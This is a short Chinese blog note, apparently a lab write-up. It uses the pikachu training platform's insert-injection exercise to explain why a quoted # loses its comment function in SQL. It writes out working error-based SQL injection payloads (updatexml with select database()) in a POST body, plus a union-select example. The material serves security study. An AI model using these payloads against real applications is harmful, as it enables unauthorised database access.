结论

当''闭合# --+等注释符后,会导致注释符失去原有的注释功能。

本题以pikachu的insert注入为例子

post参数

username=xixi&password=666666&sex=&phonenum=&email=&add=&submit=submit**

构造payload

or updatexml(1,concat(0x7e,(select database()),0x7e),1) or

username=xixi'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

在PHP中的sql语句

其中为了注入or前面和后面的单引号是为了闭合

{$getdata['$username']}
{$getdata['xiaodi'or updatexml(1,concat(0x7e,version(),0x7e),0) or'#']}

因此,在本次注入中加不加 #都不会影响注入语句。

证明

当不闭合#的时候#会自动注释掉后面错误的sql字句asd155

select username,password from users where username='admin' union select 1,2 # asd155;

当使用''闭合#的时候,#会失去注释功能

最后修改:2022 年 06 月 30 日
如果觉得我的文章对你有用,请随意赞赏